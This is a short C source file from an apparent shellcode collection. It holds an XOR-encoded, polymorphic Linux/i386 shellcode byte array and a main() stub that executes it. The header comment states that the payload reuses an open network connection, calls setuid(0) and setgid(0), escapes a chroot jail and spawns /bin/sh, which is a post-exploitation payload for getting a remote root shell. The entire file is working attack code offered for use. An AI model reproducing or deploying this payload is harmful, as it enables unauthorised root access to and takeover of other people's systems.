/* * __ ___ _ * / \ | \ | | /\-----------------> * / /\ \| |\ \| |/ / * / /__\ \ /| / libShellCode is an ORK's project! * \______/ |\ \| | \ For comments, bug reports, etc ... *<--------|_| \_\_|\_\ contact me at orkmailkatamailcom * * * This is a Linux/i386 polymorphic ShellCode that reuse the opened * connection from 192.168.1.50:80 and exec a setuid(0) and a setgid(0), then * evade from chroot and executes /bin/sh and exit(0). * */ char shellcode[]= "\xeb\x14\x5e\x31\xc9\xb0\xde\x89\xf3\xb1\xb2\x01\xce\xb1\xb9\x30" "\x03\x43\xe2\xfb\xeb\x05\xe8\xe7\xff\xff\xff\xef\x05\xb4\xce\x57" "\x3f\x5d\x32\xce\x57\x3c\x8f\x8c\xb4\xdc\x29\x3d\x6c\x21\x81\x99" "\x89\x57\x3f\x6d\xd9\xb4\xb8\x86\x13\x5e\x5b\x1e\xaa\xd7\xe7\x24" "\xab\x32\xb4\xdf\x86\x13\x5e\xef\x17\x6b\x8e\xb8\xe7\x92\xfa\xd0" "\xab\x02\x67\x1e\x76\xdf\xec\xe7\x92\xfa\xce\xab\x0f\x57\x25\x57" "\x07\x6e\xe1\x97\x13\x5e\x9f\x3c\x26\xef\x1e\xef\x05\x6e\xc9\x13" "\x5e\xef\x1e\xef\x05\x6e\xf0\x13\x5e\xef\x1e\x8d\xb6\xb4\xbf\xb7" "\xb2\x57\x3d\x6e\xf9\x13\x5e\xef\x1e\x6e\xe3\x13\x5e\xef\x1e\xef" "\x05\xef\x17\x6f\xd4\x8e\xb6\xf0\xf0\xf1\xf1\x3c\x27\x57\x3d\x6e" "\xd2\x13\x5e\xef\x1e\xef\x05\xb4\xf0\x57\x3d\x6e\xe3\x13\x5e\xef" "\x1e\x56\x98\xd9\x57\xa8\xd6\x57\x98\xd2\x6e\xd5\x57\x2d\x53\x90" "\xd6\x53\x88\xd2\x13\x5e\xef\x1e\xef\x05\x9e\x13\x5e\xf1\xbc\xb7" "\xb0\xf1\xad\xb6"; main() { void (*f)(); (char *)f = shellcode; f(); }